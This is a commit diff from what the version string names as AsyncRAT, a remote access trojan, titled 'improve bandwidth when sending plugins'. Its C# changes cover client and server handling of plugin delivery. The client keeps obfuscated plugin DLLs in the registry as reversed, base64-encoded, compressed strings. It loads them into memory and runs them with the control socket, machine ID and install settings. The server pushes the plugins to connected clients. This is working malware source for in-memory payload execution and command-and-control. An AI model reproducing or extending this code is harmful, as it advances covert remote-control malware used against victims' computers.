update
improve bandwidth when sending plugins
This commit is contained in:
parent
40e0c0cabd
commit
27b8305776
@ -8,11 +8,13 @@ using System.Reflection;
|
|||||||
using System.Threading;
|
using System.Threading;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using Microsoft.VisualBasic;
|
using Microsoft.VisualBasic;
|
||||||
|
using System.Linq;
|
||||||
|
|
||||||
namespace Client.Handle_Packet
|
namespace Client.Handle_Packet
|
||||||
{
|
{
|
||||||
public static class Packet
|
public static class Packet
|
||||||
{
|
{
|
||||||
|
public static List<MsgPack> Packs = new List<MsgPack>();
|
||||||
public static void Read(object data)
|
public static void Read(object data)
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
@ -33,11 +35,23 @@ namespace Client.Handle_Packet
|
|||||||
|
|
||||||
case "plugin": // run plugin in memory
|
case "plugin": // run plugin in memory
|
||||||
{
|
{
|
||||||
Received();
|
try
|
||||||
Assembly assembly = AppDomain.CurrentDomain.Load(Zip.Decompress(Convert.FromBase64String(Strings.StrReverse(SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString)))));
|
{
|
||||||
Type type = assembly.GetType("Plugin.Plugin");
|
Invoke(unpack_msgpack);
|
||||||
dynamic instance = Activator.CreateInstance(type);
|
}
|
||||||
instance.Run(ClientSocket.TcpClient, Settings.ServerCertificate, Settings.Hwid, unpack_msgpack.ForcePathObject("Msgpack").GetAsBytes(), MutexControl.currentApp, Settings.MTX, Settings.BDOS, Settings.Install);
|
catch (Exception ex) // check if plugin is installed
|
||||||
|
{
|
||||||
|
if (SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString) == null)
|
||||||
|
{
|
||||||
|
Packs.Add(unpack_msgpack); //save it for later
|
||||||
|
MsgPack msgPack = new MsgPack();
|
||||||
|
msgPack.ForcePathObject("Packet").SetAsString("sendPlugin");
|
||||||
|
msgPack.ForcePathObject("Hashes").SetAsString(unpack_msgpack.ForcePathObject("Dll").AsString);
|
||||||
|
ClientSocket.Send(msgPack.Encode2Bytes());
|
||||||
|
}
|
||||||
|
else
|
||||||
|
Error(ex.Message);
|
||||||
|
}
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -45,27 +59,14 @@ namespace Client.Handle_Packet
|
|||||||
{
|
{
|
||||||
SetRegistry.SetValue(unpack_msgpack.ForcePathObject("Hash").AsString, unpack_msgpack.ForcePathObject("Dll").AsString);
|
SetRegistry.SetValue(unpack_msgpack.ForcePathObject("Hash").AsString, unpack_msgpack.ForcePathObject("Dll").AsString);
|
||||||
Debug.WriteLine("plugin saved");
|
Debug.WriteLine("plugin saved");
|
||||||
break;
|
foreach (MsgPack msgPack in Packs.ToList())
|
||||||
}
|
|
||||||
|
|
||||||
case "checkPlugin": // server sent all plugins hashes, we check which plugin we miss
|
|
||||||
{
|
|
||||||
List<string> plugins = new List<string>();
|
|
||||||
foreach (string plugin in unpack_msgpack.ForcePathObject("Hash").AsString.Split(','))
|
|
||||||
{
|
{
|
||||||
if (SetRegistry.GetValue(plugin) == null)
|
if (msgPack.ForcePathObject("Dll").AsString == unpack_msgpack.ForcePathObject("Hash").AsString)
|
||||||
{
|
{
|
||||||
plugins.Add(plugin);
|
Invoke(msgPack);
|
||||||
Debug.WriteLine("plugin not found");
|
Packs.Remove(msgPack);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if (plugins.Count > 0)
|
|
||||||
{
|
|
||||||
MsgPack msgPack = new MsgPack();
|
|
||||||
msgPack.ForcePathObject("Packet").SetAsString("sendPlugin");
|
|
||||||
msgPack.ForcePathObject("Hashes").SetAsString(string.Join(",", plugins));
|
|
||||||
ClientSocket.Send(msgPack.Encode2Bytes());
|
|
||||||
}
|
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -76,6 +77,15 @@ namespace Client.Handle_Packet
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private static void Invoke(MsgPack unpack_msgpack)
|
||||||
|
{
|
||||||
|
Assembly assembly = AppDomain.CurrentDomain.Load(Zip.Decompress(Convert.FromBase64String(Strings.StrReverse(SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString)))));
|
||||||
|
Type type = assembly.GetType("Plugin.Plugin");
|
||||||
|
dynamic instance = Activator.CreateInstance(type);
|
||||||
|
instance.Run(ClientSocket.TcpClient, Settings.ServerCertificate, Settings.Hwid, unpack_msgpack.ForcePathObject("Msgpack").GetAsBytes(), MutexControl.currentApp, Settings.MTX, Settings.BDOS, Settings.Install);
|
||||||
|
Received();
|
||||||
|
}
|
||||||
|
|
||||||
private static void Received() //reset client forecolor
|
private static void Received() //reset client forecolor
|
||||||
{
|
{
|
||||||
MsgPack msgpack = new MsgPack();
|
MsgPack msgpack = new MsgPack();
|
||||||
@ -91,6 +101,5 @@ namespace Client.Handle_Packet
|
|||||||
msgpack.ForcePathObject("Error").AsString = ex;
|
msgpack.ForcePathObject("Error").AsString = ex;
|
||||||
ClientSocket.Send(msgpack.Encode2Bytes());
|
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -13,7 +13,7 @@ namespace Client
|
|||||||
#if DEBUG
|
#if DEBUG
|
||||||
public static string Ports = "6606";
|
public static string Ports = "6606";
|
||||||
public static string Hosts = "127.0.0.1";
|
public static string Hosts = "127.0.0.1";
|
||||||
public static string Version = "0.5.4J";
|
public static string Version = "0.5.4H";
|
||||||
public static string Install = "false";
|
public static string Install = "false";
|
||||||
public static string InstallFolder = "AppData";
|
public static string InstallFolder = "AppData";
|
||||||
public static string InstallFile = "Test.exe";
|
public static string InstallFile = "Test.exe";
|
||||||
|
@ -35,12 +35,6 @@ namespace Server.Handle_Packet
|
|||||||
catch { }
|
catch { }
|
||||||
}
|
}
|
||||||
|
|
||||||
try
|
|
||||||
{
|
|
||||||
client.CheckPlugin(); //send plugins hashes to client to check if exists or need update
|
|
||||||
}
|
|
||||||
catch { }
|
|
||||||
|
|
||||||
client.LV = new ListViewItem();
|
client.LV = new ListViewItem();
|
||||||
client.LV.Tag = client;
|
client.LV.Tag = client;
|
||||||
client.LV.Text = string.Format("{0}:{1}", client.TcpClient.RemoteEndPoint.ToString().Split(':')[0], client.TcpClient.LocalEndPoint.ToString().Split(':')[1]);
|
client.LV.Text = string.Format("{0}:{1}", client.TcpClient.RemoteEndPoint.ToString().Split(':')[0], client.TcpClient.LocalEndPoint.ToString().Split(':')[1]);
|
||||||
|
@ -173,10 +173,7 @@ namespace Server.Handle_Packet
|
|||||||
{
|
{
|
||||||
new HandleLogs().Addmsg($"Sending plugins to client {ip} please wait..", Color.Blue);
|
new HandleLogs().Addmsg($"Sending plugins to client {ip} please wait..", Color.Blue);
|
||||||
ThreadPool.QueueUserWorkItem(delegate {
|
ThreadPool.QueueUserWorkItem(delegate {
|
||||||
foreach (string plugin in unpack_msgpack.ForcePathObject("Hashes").AsString.Split(','))
|
client.SendPlugin(unpack_msgpack.ForcePathObject("Hashes").AsString);
|
||||||
{
|
|
||||||
client.SendPlugin(plugin);
|
|
||||||
}
|
|
||||||
});
|
});
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
@ -17,7 +17,7 @@ namespace Server
|
|||||||
|
|
||||||
public static string CertificatePath = Application.StartupPath + "\\ServerCertificate.p12";
|
public static string CertificatePath = Application.StartupPath + "\\ServerCertificate.p12";
|
||||||
public static X509Certificate2 ServerCertificate;
|
public static X509Certificate2 ServerCertificate;
|
||||||
public static readonly string Version = "AsyncRAT 0.5.4J";
|
public static readonly string Version = "AsyncRAT 0.5.4H";
|
||||||
public static object LockListviewClients = new object();
|
public static object LockListviewClients = new object();
|
||||||
public static object LockListviewLogs = new object();
|
public static object LockListviewLogs = new object();
|
||||||
public static object LockListviewThumb = new object();
|
public static object LockListviewThumb = new object();
|
||||||
|
Loading…
x
Reference in New Issue
Block a user